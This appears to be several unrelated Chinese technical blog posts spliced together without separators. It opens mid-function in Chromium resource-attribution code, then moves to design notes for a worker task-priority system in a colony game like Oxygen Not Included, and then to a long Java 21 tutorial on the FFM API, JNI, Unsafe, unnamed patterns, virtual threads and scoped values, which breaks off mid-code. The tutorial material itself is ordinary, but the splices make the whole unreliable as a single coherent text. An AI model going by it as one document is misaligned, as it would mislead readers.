// Check if this QueryOnce() should be throttled.
if (!last_query_once_time_.is_null() &&
now < last_query_once_time_ + g_min_memory_query_delay) {
// QueryOnce() called recently.
return false;
}
if (!last_fire_time_.is_null() &&
now < last_fire_time_ + g_min_memory_query_delay) {
// Timer fired recently.
return false;
}
if (!next_fire_time_.is_null() &&
now > next_fire_time_ - g_min_memory_query_delay) {
// Timer is going to fire soon.
return false;
}
last_query_once_time_ = now;
return true;
}
components/performance_manager/public/resource_attribution/queries.h
QueryScheduler 确实可以直接用来采集一次性能数据了,但是它没有那么好用,因为它需要先构造好 QueryParams 数据结构。因此 chromium 提供了一个工具类来方便的一次性采集数据,或者导出一个 ScopedResourceUsageQuery 来进行定时采集,类似下面的写法:
QueryBuilder()
.AddAllContextsOfType<ProcessContext>()
.AddResourceType(ResourceType::kCPUTime)
.QueryOnce(callback);
这个类实现很简单,因此在这里不再赘述。
代码设计不是一成不变的,也不是一蹴而就的。它是随着项目需求迭代而不断的升级。因此根据需求选择合适的架构设计是非常重要的。
正如 chromium 在 //services 的框架的设计文档中写道:“团队有意识地选择不过度设计代码和架构,直到我们有明显的需求”。尽管 chromium 的代码设计不总是最好的,相反很多时候因为抽象让阅读难度大大增加,但学习它的设计思路对我们设计更为复杂的架构有很多的参考价值。
本文中提到的变更原因仅代表从 commit 上推测而来,欢迎有不同的见解在评论区交流 ☕️。
在矮人要塞 like 的游戏中,都有一套基于工人的任务分发系统。玩家通常不能像 RTS 中那样直接操作工人去工作,而是对要做的事情下达任务,等着工人自主去完成。
由于任务数量通常远多于工人数量,这个任务分发系统中大多配有优先级设置,可以让诸多任务有条不紊的进行。调整优先级变成玩家主动操控的渠道。初玩这类游戏,会有点不习惯:感觉难以在微观层面直接做自己像做的事情。像捡块石头放进指定仓库这件事,无法像玩 RTS 游戏那样,先点选工人,再针对石头发出拾取指令…… 但习惯之后,恐怕又回不去了。比如我在玩 Ratopia 时,就对操控鼠王直接干活烦躁不已。
这类游戏,我玩的时间比较长的有三个,按时长排序为:缺氧 (ONI) 、边缘世界 (Rimworld)、矮人要塞 (DF)。其它如 Songs of Syx 、Prison Architect 等很多也有所涉猎。其实,这些游戏在设计工人任务系统的细节上也有所不同。
以我游戏时长最长的缺氧和边缘世界相比较,同样是提供玩家主动操控的能力:Rimworld 可以给工人的任务队列直接下达指令(这更接近 RTS 的玩法),而 ONI 则是通过给单个任务本身排优先级实现的。ONI 设计了警报级任务,可以越过一切优先级设定,强制立刻完成。虽然 ONI 也保留了指挥单个小人移动到指定位置,但实际游戏中几乎没什么用。
对于拾取物品,Rimworld 可以封禁、解禁单个物品,而 ONI 没有这个设计。ONI 的工人几乎不会主动把地上的东西搬入仓库,除非下达清扫指令。
这些细节的不同,可能来源于作者设计时的思维轨迹,很大程度上也取决于游戏的其他玩法。例如 Rimworld 偏重手控成分很重的战斗,而 ONI 没有战斗成分。Rimworld 强调人物之间的情感联系,ONI 里的都是工具人。
我比较喜欢 ONI 的系统,打算用这个规则打底设计自己的游戏。下面是设计的草稿:
游戏场景中代做的事情全部被视为任务,任务需要由工人完成。
任务构成要素主要由对象和行为构成。对象大多为场景中的建筑,也可以是其它一些活动角色,例如某个工人或敌人。
行为决定了任务的类型,而每种任务类型有一个预设的“类型权重”;玩家可以对任务所属对象设置一个“对象权重”。
每个工人有自己的任务队列。工人可以设置对任务类型的“偏好权重”,任务对象在场景中的位置和工人之间的距离决定了任务的“位置权重”。将每个任务的所有权重相乘,得到任务分配给每个工人的最终权重。同一个任务会分别进入每个工人的任务队列中。
有些任务是分配给特定工人的。例如,工人需要周期进食,氧气不足时会就近补充氧气,等等。也会排入对应的任务队列。
各个任务队列定期刷新,将归属的任务以权重排序。工人从高到低依次完成任务。因为一个任务可以被分配到多个队列中,所以,可以出现工人当前任务被取消的情况。如果扩展战斗系统,而攻击敌人也属于任务的话,同一个任务也可以被并行执行。
比较特殊的是搬运任务,它通常是建造任务的一个环节,即给建造任务提供原料。它需要把原料从一个地点搬运到建造蓝图的地方。这种搬运任务有两个地点。但给建造蓝图供料时,原料可以有很多候选。我想到两种实现方法:
第一,当一个建造任务被发布后,所有可用的原料均被发布一个供应的子任务,根据和原料和建造任务的距离,给予不同的权重。这样,工人再根据自身的位置,如果开始就近执行一个搬运任务,就立刻把其它搬运任务取消。第二,不考虑不同原料的位置,只要原料可达,就发布一个供应任务,每个工人在考量建造任务权重时,只考虑自己和建造工地的距离。
看起来,第一个方案看起来会有更聪明的表现。因为会倾向于让离原料近的工人就近拿到原料开始搬运。但从实现上看,第二个方案更简单。因为它没有把搬运任务做特殊处理。只在工人执行任务时,再寻找原料。寻早原料变成执行任务的过程,而不在计算权重和分配任务阶段进行。
昨天我实现了基本的寻路模块。一开始,我认为需要的基本功能是:标记出场景中从 A 点到 B 点的路径。由于场景是玩家一点点搭建起来,随时变化,所以很难对场景做充分的预处理。这样一个寻路模块的时间及空间复杂度都不会太低,而在游戏中恐怕不会太低频使用它。我实现了两版都不是很满意,所以又回头来回顾需求。
结合任务系统来考虑,我突然发现,其实真正需要的不是找到任务 A B 两点间的通行路径,而是找到从同一个点出发,到场景中很多点的路径。因为,任务本身是有位置属性的,这个位置属性决定了它在每个工人的队列中的不同权重;或者从工人角度看,他同时会面对多个不同位置的任务,需要根据距离远近排序。所以,更合理的基础功能应该是:针对每个工人的当前位置,计算出距离可达区域每个位置的行动路线,这用几行代码就可以生成。同理,如果像找到一个建筑任务的所有原料供应点的远近,也可以使用相同的算法。
工人只在开始准备一个新任务时,才需要做一次计算。而一旦他处在执行一个任务的过程中,就不再需要实时计算距离其它任务地的路径。
在 上一篇笔记 中,我们学习了 Java 21 中前 5 个重要特性:
switch
接下来,我们将继续学习后面的 5 个特性:
外部函数和内存 API(Foreign Function & Memory API,简称 FFM API) 是 Java 17 中首次引入的一个重要特性,经过了 JEP 412 和 JEP 419 两个孵化版本,以及 JEP 424 和 JEP 434 两个预览版本,在 Java 21 中,这已经是第三个预览版本了。
在 Java 22 中,这个特性终于退出了预览版本。
近年来,随着人工智能、数据科学、图像处理等领域的发展,我们在越来越多的场景下接触到原生代码:
这些代码不太可能用 Java 重写,也没有必要,Java 急需一种能与本地库进行交互的方案,这就是 FFM API 诞生的背景。FFM API 最初作为 Panama 项目 中的核心组件,旨在改善 Java 与本地代码的互操作性。FFM API 是 Java 现代化进程中的一个重要里程碑,标志着 Java 在与本地代码互操作性方面迈出了重要一步,它的引入也为 Java 在人工智能、数据科学等领域的应用提供了更多的可能性,有望加速 Java 在这些领域的发展和应用。
FFM API 由两大部分组成:外部函数接口(Foreign Function Interface,简称 FFI) 和 内存 API(Memory API),FFI 用于实现 Java 代码和外部代码之间的相互操作,而 Memory API 则用于安全地管理堆外内存。
在引入外部函数之前,如果想要实现 Java 调用外部函数库,我们需要借助 JNI (Java Native Interface) 来实现。下面的代码是一个使用 JNI 调用外部函数的例子:
public class JNIDemo {
static {
System.loadLibrary("JNIDemo");
}
public static void main(String[] args) {
new JNIDemo().sayHello();
}
private native void sayHello();
}
其中 sayHello
函数使用了 native
修饰符,表明这是一个本地方法,该方法的实现不在 Java 代码中。这个本地方法可以使用 C 语言来实现,我们首先需要生成这个本地方法对应的 C 语言头文件:
$ javac -h . JNIDemo.java
javac
命令不仅可以将 .java
文件编译成 .class
字节码文件,而且还可以生成本地方法的头文件,参数 -h .
表示将头文件生成到当前目录。这个命令执行成功后,当前目录应该会生成 JNIDemo.class
和 JNIDemo.h
两个文件,JNIDemo.h
文件内容如下:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIDemo */
#ifndef _Included_JNIDemo
#define _Included_JNIDemo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: JNIDemo
* Method: sayHello
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_JNIDemo_sayHello
(JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
正如我们所看到的,在这个头文件中定义了一个名为 Java_JNIDemo_sayHello
的函数,这个名称是根据包名、类名和方法名自动生成的。有了这个自动生成的头文件,我们就可以在 C 语言里实现这个这个方法了,于是接着创建一个 JNIDemo.c
文件,编写代码:
#include "jni.h"
#include "JNIDemo.h"
#include <stdio.h>
JNIEXPORT void JNICALL Java_JNIDemo_sayHello(JNIEnv *env, jobject jobj) {
printf("Hello World!\n");
}
这段代码很简单,直接调用标准库中的 printf
输出 Hello World!
。
然后使用 gcc 将这个 C 文件编译成动态链接库:
$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/darwin -dynamiclib JNIDemo.c -o libJNIDemo.dylib
这个命令会在当前目录下生成一个名为 libJNIDemo.dylib
的动态链接库文件,这个库文件正是我们在 Java 代码中通过 System.loadLibrary("JNIDemo")
加载的库文件。
注意这里我用的是 Mac 操作系统,动态链接库的名称必须以
lib
为前缀,以.dylib
为扩展名,其他操作系统的命令略有区别。Linux 系统:
$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux -shared JNIDemo.c -o libJNIDemo.so
Windows 系统:
$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/win32 -shared JNIDemo.c -o JNIDemo.dll
至此,我们就可以运行这个 Hello World 的本地实现了:
$ java -cp . -Djava.library.path=. JNIDemo
以上步骤演示了如何使用 JNI 调用外部函数,这只是 JNI 的一个简单示例,更多 JNI 的高级功能,比如实现带参数的函数,在 C 代码中访问 Java 对象或方法等,可以参考 Baeldung 的这篇教程。
从上面的过程可以看出,JNI 的使用非常繁琐,一个简单的 Hello World 都要费好大劲:首先要在 Java 代码中定义 native
方法,然后从 Java 代码派生 C 头文件,最后还要使用 C 语言对其进行实现。Java 开发人员必须跨多个工具链工作,当本地库快速演变时,这个工作就会变得尤为枯燥乏味。
除此之外,JNI 还有几个更为严重的问题:
多年来,已经出现了许多框架来解决 JNI 遗留下来的问题,包括 JNA、JNR 和 JavaCPP。这些框架通常比 JNI 有显著改进,但情况仍然不尽理想,尤其是与提供一流本地互操作性的语言相比。例如,Python 的 ctypes
包可以动态地包装本地库中的函数,而无需任何胶水代码,Rust 则提供了从 C/C++ 头文件自动生成本地包装器的工具。
FFI 综合参考了其他语言的实现,试图更加优雅地解决这些问题,它实现了对外部函数库的原生接口,提供了一种更高效更安全的方式来访问本地内存和函数,从而取代了传统的 JNI。
下面的代码是使用 FFI 实现和上面相同的 Hello World 的例子:
public class FFIDemo {
public static void main(String[] args) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup symbolLookup = linker.defaultLookup();
MethodHandle printf = linker.downcallHandle(
symbolLookup.find("printf").orElseThrow(),
FunctionDescriptor.of(ValueLayout.JAVA_LONG, ValueLayout.ADDRESS)
);
try (Arena arena = Arena.ofConfined()) {
MemorySegment hello = arena.allocateUtf8String("Hello World!\n");
printf.invoke(hello);
}
}
}
注意,Java 22 中取消了
Arena::allocateUtf8String()
方法,改成了Arena::allocateFrom()
方法。
相比于 JNI 的实现,FFI 的代码要简洁优雅得多。这里的代码涉及三个 FFI 中的重要接口:
Linker
SymbolLookup
FunctionDescriptor
其中 SymbolLookup
用于从已加载的本地库中查找外部函数的地址,Linker
用于链接 Java 代码与外部函数,它同时支持下行调用(从 Java 代码调用本地代码)和上行调用(从本地代码返回到 Java 代码),FunctionDescriptor
用于描述外部函数的返回类型和参数类型,这些类型在 FFM API 中可以由 MemoryLayout
对象描述,例如 ValueLayout
表示值类型,GroupLayout
表示结构类型。
通过 FFI 提供的接口,我们可以生成对应外部函数的方法句柄(MethodHandle
),方法句柄是 Java 7 引入的一个抽象概念,可以实现对方法的动态调用,它提供了比反射更高的性能和更灵活的使用方式,这里复用了方法句柄的概念,通过方法句柄的 invoke()
方法就可以实现外部函数的调用。
这里我们不再需要编写 C 代码,也不再需要编译链接生成动态库,所以,也就不存在平台相关的问题了。另一方面,FFI 接口的设计大多数情况下是安全的,由于都是 Java 代码,因此也受到 Java 安全机制的约束,虽然也有一部分接口是不安全的,但是比 JNI 来说要好多了。
OpenJDK 还提供了一个 jextract 工具,用于从本地库自动生成 Java 代码,有兴趣的同学可以尝试一下。
ByteBuffer
和 Unsafe
访问堆外内存上面说过,FFM API 的另一个主要部分是 内存 API(Memory API),用于安全地管理堆外内存。其实在 FFIDemo
的示例中我们已经见到内存 API 了,其中 printf
打印的 Hello World!\n
字符串,就是通过 Arena
这个内存 API 分配的。
但是在学习内存 API 之前,我们先来复习下 Java 在之前的版本中是如何处理堆外内存的。
内存的使用往往和程序性能挂钩,很多像 TensorFlow、Ignite、Netty 这样的类库,都对性能有很高的要求,为了避免垃圾收集器不可预测的行为以及额外的性能开销,这些类库一般倾向于使用 JVM 之外的内存来存储和管理数据,这就是我们常说的 堆外内存(off-heap memory)。
使用堆外内存有两个明显的好处:
ByteBuffer
是访问堆外内存最常用的方法:
private static void testDirect() {
ByteBuffer bb = ByteBuffer.allocateDirect(10);
bb.putInt(0);
bb.putInt(1);
bb.put((byte)0);
bb.put((byte)1);
bb.flip();
System.out.println(bb.getInt());
System.out.println(bb.getInt());
System.out.println(bb.get());
System.out.println(bb.get());
}
上面的代码使用 ByteBuffer.allocateDirect(10)
分配了 10 个字节的直接内存,然后通过 put
写内存,通过 get
读内存。
可以注意到这里的 int
是 4 个字节,byte
是 1 个字节,当写完 2 个 int
和 2 个 byte
后,如果再继续写,就会报 java.nio.BufferOverflowException
异常。
另外还有一点值得注意,我们并没有手动释放内存。虽然这个内存是直接从操作系统分配的,不受 JVM 的控制,但是创建 DirectByteBuffer
对象的同时也会创建一个 Cleaner
对象,它用于跟踪对象的垃圾回收,当 DirectByteBuffer
被垃圾回收时,分配的堆外内存也会一起被释放,所以我们不用手动释放内存。
ByteBuffer
是异步编程和非阻塞编程的核心类,从 java.nio.ByteBuffer
这个包名就可以看出这个类是为 NIO 而设计,可以说,几乎所有的 Java 异步模式或者非阻塞模式的代码,都要直接或者间接地使用 ByteBuffer
来管理数据。尽管如此,这个类仍然存在着一些无法摆脱的限制:
ByteBuffer
对应内存的释放,完全依赖于 JVM 的垃圾回收机制,这对于一些像 Netty 这样追求极致性能的类库来说并不满足,这些类库往往需要对内存进行精确的控制;ByteBuffer
使用了 Java 的整数来表示存储空间的大小,这就导致,它的存储空间最多只有 2G;在网络编程的环境下,这可能并不是一个问题,但是在处理超过 2G 的文件时就不行了,而且像 Memcahed 这样的分布式缓存系统,内存 2G 的限制明显是不够的。为了突破这些限制,有些类库选择了访问堆外内存的另一条路,使用 sun.misc.Unsafe
类。这个类提供了一些低级别不安全的方法,可以直接访问系统内存资源,自主管理内存资源:
private static void testUnsafe() throws Exception {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
long address = unsafe.allocateMemory(10);
unsafe.putInt(address, 0);
unsafe.putInt(address+4, 1);
unsafe.putByte(address+8, (byte)0);
unsafe.putByte(address+9, (byte)1);
System.out.println(unsafe.getInt(address));
System.out.println(unsafe.getInt(address+4));
System.out.println(unsafe.getByte(address+8));
System.out.println(unsafe.getByte(address+9));
unsafe.freeMemory(address);
}
Unsafe
的使用方法和 ByteBuffer
很像,我们使用 unsafe.allocateMemory(10)
分配了 10 个字节的直接内存,然后通过 put
写内存,通过 get
读内存,区别在于我们要手动调整内存地址。
使用 Unsafe
操作内存就像是使用 C 语言中的指针一样,效率虽然提高了不少,但是很显然,它增加了 Java 语言的不安全性,因为它实际上可以访问到任意位置的内存,不正确使用 Unsafe
类会使得程序出错的概率变大。
注意,默认情况下,我们无法直接使用
Unsafe
类,直接使用的话会报下面这样的SecurityException
异常:Exception in thread "main" java.lang.SecurityException: Unsafe at jdk.unsupported/sun.misc.Unsafe.getUnsafe(Unsafe.java:99) at ByteBufferDemo.testUnsafe(ByteBufferDemo.java:33) at ByteBufferDemo.main(ByteBufferDemo.java:10)
所以上面的代码通过反射的手段,使得我们可以使用
Unsafe
。
说了这么多,总结一句话就是:ByteBuffer
安全但效率低,Unsafe
效率高但是不安全。此时,就轮到 内存 API 出场了。
内存 API 基于前人的经验,使用了全新的接口设计,它的基本使用如下:
private static void testAllocate() {
try (Arena offHeap = Arena.ofConfined()) {
MemorySegment address = offHeap.allocate(8);
address.setAtIndex(ValueLayout.JAVA_INT, 0, 1);
address.setAtIndex(ValueLayout.JAVA_INT, 1, 0);
System.out.println(address.getAtIndex(ValueLayout.JAVA_INT, 0));
System.out.println(address.getAtIndex(ValueLayout.JAVA_INT, 1));
}
}
这段代码使用 Arena::allocate()
分配了 8 个字节的外部内存,然后写入两个整型数字,最后再读取出来。下面是另一个示例,写入再读取字符串:
private static void testAllocateString() {
try (Arena offHeap = Arena.ofConfined()) {
MemorySegment str = offHeap.allocateUtf8String("hello");
System.out.println(str.getUtf8String(0));
}
}
这段代码使用 Arena::allocateUtf8String()
根据字符串的长度动态地分配外部内存,然后通过 MemorySegment::getUtf8String()
将其复制到 JVM 栈上并输出。
注意,Java 22 中取消了
Arena::allocateUtf8String()
和MemorySegment::getUtf8String()
方法,改成了Arena::allocateFrom()
和MemorySegment::getString()
方法。
这两段代码中的 Arena
和 MemorySegment
是内存 API 的关键,MemorySegment
用于表示一段内存片段,既可以是堆内内存也可以是堆外内存;Arena
定义了内存资源的生命周期管理机制,它实现了 AutoCloseable
接口,所以可以使用 try-with-resource
语句及时地释放它管理的内存。
Arena.ofConfined()
表示定义一块受限区域,只有一个线程可以访问在受限区域中分配的内存段。除此之外,我们还可以定义其他类型的区域:
Arena.global()
- 全局区域,分配的区域永远不会释放,随时可以访问;Arena.ofAuto()
- 自动区域,由垃圾收集器自动检测并释放;Arena.ofShared()
- 共享区域,可以被多个线程同时访问;Arena
接口的设计经过了多次调整,在最初的版本中被称为 ResourceScope
,后来改成 MemorySession
,再后来又拆成了 Arena
和 SegmentScope
两个类,现在基本上稳定使用 Arena
就可以了。
除 Arena
接口,内存 API 还包括了下面这些接口,主要可以分为两大类:
Arena
、MemorySegment
、SegmentAllocator
- 这几个接口用于控制外部内存的分配和释放MemoryLayout
、VarHandle
- 这几个接口用于操作和访问结构化的外部内存内存 API 试图简化 Java 代码操作堆外内存的难度,通过它可以实现更高效的内存访问方式,同时可以保障一定的安全性,特别适用于下面这些场景:
相信等内存 API 正式发布之后,之前使用 ByteBuffer
或 Unsafe
的很多类库估计都会考虑切换成使用内存 API 来获取性能的提升。
未命名模式和变量也是一个预览特性,其主要目的是为了提高代码的可读性和可维护性。
在 Java 代码中,我们偶尔会遇到一些不需要使用的变量,比如下面这个例子中的异常 e
:
try {
int i = Integer.parseInt(s);
System.out.println("Good number: " + i);
} catch (NumberFormatException e) {
System.out.println("Bad number: " + s);
}
这时我们就可以使用这个特性,使用下划线 _
来表示不需要使用的变量:
try {
int i = Integer.parseInt(s);
System.out.println("Good number: " + i);
} catch (NumberFormatException _) {
System.out.println("Bad number: " + s);
}
上面这个这被称为 未命名变量(Unnamed Variables)。
顾名思义,未命名模式和变量包含两个方面:未命名模式(Unnamed Patterns) 和 未命名变量(Unnamed Variables)。
在 上一篇笔记 中,我们学习了什么是 记录模式(Record Pattern) 以及 instanceof
和 switch
两种模式匹配。未命名模式允许在模式匹配中省略掉记录组件的类型和名称。下面的代码展示了如何在 instanceof
模式匹配中使用未命名模式这个特性:
if (obj instanceof Person(String name, _)) {
System.out.println("Name: " + name);
}
其中 Person 记录的第二个参数 Integer age
在后续的代码中没用到,于是用下划线 _
把类型和名称都代替掉。我们也可以只代替 age
名称,这被称为 未命名模式变量(Unnamed Pattern Variables):
if (obj instanceof Person(String name, Integer _)) {
System.out.println("Name: " + name);
}
这个特性也可以在 switch
模式匹配中使用:
switch (b) {
case Box(RedBall _), Box(BlueBall _) -> processBox(b);
case Box(GreenBall _) -> stopProcessing();
case Box(_) -> pickAnotherBox();
}
这里前两个 case
是未命名模式变量,最后一个 case
是未命名模式。
未命名变量的使用场景更加丰富,除了上面在 catch
子句中使用的例子外,下面列举了一些其他的典型场景。
在 for
循环中使用:
int acc = 0;
for (Order _ : orders) {
if (acc < LIMIT) {
... acc++ ...
}
}
在赋值语句中使用:
Queue<Integer> q = ... // x1, y1, z1, x2, y2, z2, ...
while (q.size() >= 3) {
var x = q.remove();
var y = q.remove();
var _ = q.remove();
... new Point(x, y) ...
}
在 try-with-resource
语句中使用:
try (var _ = ScopedContext.acquire()) {
// No use of acquired resource
}
在 lambda 表达式中使用:
stream.collect(
Collectors.toMap(String::toUpperCase, _ -> "NODATA")
)
虚拟线程(Virtual Thread) 是 Java 21 中最突出的特性之一,作为 Loom 项目的一部分,开发人员对这个特性可谓期待已久。它由预览特性变成正式特性经历了两个版本的迭代,第一次预览是 Java 19 的 JEP 425 ,第二次预览是 Java 20 的 JEP 436,在 Java 21 中虚拟线程特性正式发布。
在引入虚拟线程之前,我们常使用 java.lang.Thread
来创建 Java 线程,这个线程被称为 平台线程(Platform Thread),它和操作系统的内核线程是一对一的关系,由内核线程调度器负责调度。
为了提高应用程序的性能和系统的吞吐量,我们将添加越来越多的 Java 线程,下面是一个模拟多线程的例子,我们创建 10 万个线程,每个线程模拟 I/O 操作等待 1 秒钟:
private static void testThread() {
long l = System.currentTimeMillis();
try(var executor = Executors.newCachedThreadPool()) {
IntStream.range(0, 100000).forEach(i -> {
executor.submit(() -> {
Thread.sleep(Duration.ofSeconds(1));
// System.out.println(i);
return i;
});
});
}
System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}
这里的 10 万个线程对应着 10 万个内核线程,这种通过大量的线程来提高系统性能是不现实的,因为内核线程成本高昂,不仅会占用大量资源来处理上下文切换,而且可用数量也很受限,一个线程大约消耗 1M~2M 的内存,当系统资源不足时就会报错:
$ java ThreadDemo.java
Exception in thread "pool-2-thread-427" java.lang.OutOfMemoryError: Java heap space
at java.base/java.util.concurrent.SynchronousQueue$TransferStack.snode(SynchronousQueue.java:328)
at java.base/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:371)
at java.base/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903)
at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at java.base/java.lang.Thread.runWith(Thread.java:1596)
at java.base/java.lang.Thread.run(Thread.java:1583)
于是人们又发明了各种线程池技术,最大程度地提高线程的复用性。下面我们使用一个固定大小为 200 的线程池来解决线程过多时报错的问题:
private static void testThreadPool() {
long l = System.currentTimeMillis();
try(var executor = Executors.newFixedThreadPool(200)) {
IntStream.range(0, 100000).forEach(i -> {
executor.submit(() -> {
Thread.sleep(Duration.ofSeconds(1));
// System.out.println(i);
return i;
});
});
}
System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}
在使用固定大小的线程池后,不会出现创建大量线程导致报错的问题,任务可以正常完成。但是这里的线程池却成了我们应用程序最大的性能瓶颈,程序运行花费了 50 秒的时间:
$ java ThreadDemo.java
elapsed time:50863 ms
按理说每个线程耗时 1 秒,无论是多少个线程并发,总耗时应该都是 1 秒,很显然这里并没有发挥出硬件应有的性能。
为了充分利用硬件,研究人员转而采用线程共享的方式,它的核心想法是这样的:我们并不需要在一个线程上从头到尾地处理一个请求,当执行到等待 I/O 操作时,可以将这个请求缓存到池中,以便线程可以处理其他请求,当 I/O 操作结束后会收到一个回调通知,再将请求从池中取出继续处理。这种细粒度的线程共享允许在高并发操作时不消耗大量线程,从而消除内核线程稀缺而导致的性能瓶颈。
这种方式使用了一种被称为 异步编程(Asynchronous Programming) 的风格,通过所谓的 响应式框架(Reactive Frameworks) 来实现,比如著名的 Reactor 项目一直致力于通过响应式编程来提高 Java 性能。但是这种风格的代码难以理解、难以调试、难以使用,普通开发人员只能对其敬而远之,只有高阶开发人员才能玩得转,所以并没有得到普及。
所以 Java 一直在寻找一种既能有异步编程的性能,又能编写起来简单的方案,最终虚拟线程诞生。
虚拟线程由 Loom 项目提出,最初被称为 纤程(Fibers),类似于 协程(Coroutine) 的概念,它由 JVM 而不是操作系统进行调度,可以让大量的虚拟线程在较少数量的平台线程上运行。我们将上面的代码改成虚拟线程非常简单,只需要将 Executors.newFixedThreadPool(200)
改成 Executors.newVirtualThreadPerTaskExecutor()
即可:
private static void testVirtualThread() {
long l = System.currentTimeMillis();
try(var executor = Executors.newVirtualThreadPerTaskExecutor()) {
IntStream.range(0, 100000).forEach(i -> {
executor.submit(() -> {
Thread.sleep(Duration.ofSeconds(1));
// System.out.println(i);
return i;
});
});
}
System.out.printf("elapsed time:%d ms", System.currentTimeMillis() - l);
}
运行结果显示,虚拟线程使得程序的性能得到了非常显著的提升,10 万个线程全部运行只花费 1 秒多的时间:
$ java ThreadDemo.java
elapsed time:1592 ms
虚拟线程的数量可以远大于平台线程的数量,多个虚拟线程将由 JVM 调度在某个平台线程上执行,一个平台线程可以在不同的时间执行不同的虚拟线程,当虚拟线程被阻塞或等待时,平台线程可以切换到另一个虚拟线程执行。
虚拟线程、平台线程和系统内核线程的关系图如下所示:
值得注意的是,虚拟线程适用于 I/O 密集型任务,不适用于计算密集型任务,因为计算密集型任务始终需要 CPU 资源作为支持。如果测试程序中的任务不是等待 1 秒钟,而是执行一秒钟的计算(比如对一个巨大的数组进行排序),那么程序不会有明显的性能提升。因为虚拟线程不是更快的线程,它们运行代码的速度与平台线程相比并无优势。虚拟线程的存在是为了提供更高的吞吐量,而不是速度(更低的延迟)。
为了降低虚拟线程的使用门槛,官方尽力复用原有的 java.lang.Thread
线程类,让我们的代码可以平滑地过渡到虚拟线程的使用。下面列举几种创建虚拟线程的方式:
Thread.startVirtualThread()
创建Thread.startVirtualThread(() -> {
System.out.println("Hello");
});
Thread.ofVirtual()
创建Thread.ofVirtual().start(() -> {
System.out.println("Hello");
});
上面的代码通过 start()
直接启动虚拟线程,也可以通过 unstarted()
创建一个未启动的虚拟线程,再在合适的时机启动:
Thread thread = Thread.ofVirtual().unstarted(() -> {
System.out.println("Hello");
});
thread.start();
和
Thread.ofVirtual()
对应的是Thread.ofPlatform()
,用于创建平台线程。
ThreadFactory
创建ThreadFactory factory = Thread.ofVirtual().factory();
Thread thread = factory.newThread(() -> {
System.out.println("Hello");
});
thread.start();
Executors.newVirtualThreadPerTaskExecutor()
创建try(var executor = Executors.newVirtualThreadPerTaskExecutor()) {
executor.submit(() -> {
System.out.println("Hello");
});
}
这种方式和传统的创建线程池非常相似,只需要改一行代码就可以把之前的线程池切换到虚拟线程。
很有意思的一点是,这里我们并没有指定虚拟线程的数量,这是因为虚拟线程非常廉价非常轻量,使用后立即就被销毁了,所以根本不需要被重用或池化。
正是由于虚拟线程非常轻量,我们可以在单个平台线程中创建成百上千个虚拟线程,它们通过暂停和恢复来实现线程之间的切换,避免了上下文切换的额外耗费,兼顾了多线程的优点,简化了高并发程序的复杂,可以有效减少编写、维护和观察高吞吐量并发应用程序的工作量。
JDK 长期以来一直提供调试、分析和监控线程的机制,这些机制对于故障排查、维护和优化是必不可少的,JDK 提供了很多工具来实现这点,这些工具现在对虚拟线程也提供了同样的支持。
比如 jstack
或 jcmd
是流行的线程转储工具,它们可以打印出应用程序的所有线程,这种扁平的列表结构对于几十或几百个平台线程来说还可以,但对于成千上万的虚拟线程来说已经不适合了,于是在 jcmd
中引入了一种新的线程转储方式,以 JSON 格式将虚拟线程与平台线程一起打印:
$ jcmd <pid> Thread.dump_to_file -format=json <file>
以下是这样的线程转储的示例:
相信所有学过 Java 的人对下面这几行代码都非常熟悉吧:
public class Hello {
public static void main(String[] args) {
System.out.println("Hello");
}
}
通常我们初学 Java 的时候,都会写出类似这样的 Hello World 程序,不过作为初学者的入门示例,这段代码相比其他语言来说显得过于臃肿了,给初学者的感觉就是 Java 太复杂了,因为这里掺杂了太多只有在开发大型应用的时候才会涉及到的概念:
public class Hello
这行代码涉及了类的声明和访问修饰符,这些概念可以用于数据隐藏、重用、访问控制、模块化等,在大型复杂应用程序中很有用;但是对于一个初学者,往往是从变量、控制流和子程序的基本编程概念开始学习的,在这个小例子中,它们毫无意义;main()
函数的 String[] args
这个参数主要用于接收从命令行传入的参数,但是对于一个初学者来说,在这里它显得非常神秘,因为它在代码中从未被使用过;main()
函数前面的 static
修饰符是 Java 类和对象模型的一部分,这个概念这对初学者也很不友好,甚至是有害的,因为如果要在代码中添加一个新的方法或字段时,为了访问它们,我们必须将它们全部声明成 static
的,这是一种既不常见也不是好习惯的用法,要么就要学习如何实例化对象。为了让初学者可以快速上手,Java 21 引入了未命名类和实例 Main 方法这个特性,这个特性包含两个部分:
main
方法可以没有访问修饰符、没有 static
修饰符和没有 String[]
参数:class Hello {
void main() {
System.out.println("Hello");
}
}
这样的 main
方法被称为 实例 Main 方法(instance main methods)。
void main() {
System.out.println("Hello");
}
在 Java 语言中,每个类都位于一个包中,每个包都位于一个模块中。而一个未命名的类位于未命名的包中,未命名的包位于未命名的模块中。
作用域值(Scoped Values) 是 Loom 项目提出的另一个重要特性,它提供了一种隐式方法参数的形式,允许在大型程序的各个部分之间安全地共享数据,而无需将它们作为显式参数添加到调用链中的每个方法中。作用域值通常是作为一个公共静态字段,因此可以从任何方法中访问到。如果多个线程使用相同的作用域值,则从每个线程的角度来看,它可能包含不同的值。
如果您熟悉 线程本地变量(thread-local variables),这听起来会很熟悉,事实上,作用域值正是为了解决使用线程本地变量时可能遇到的一些问题,在某些情况下可以将其作为线程本地变量的现代替代品。
在 Web 应用开发中,一个经典的场景是获取当前已登录的用户信息,下面的代码模拟了大概的流程:
public class UserDemo {
public static void main(String[] args) {
// 从 request 中获取用户信息
String userId = getUserFromRequest();
// 查询用户详情
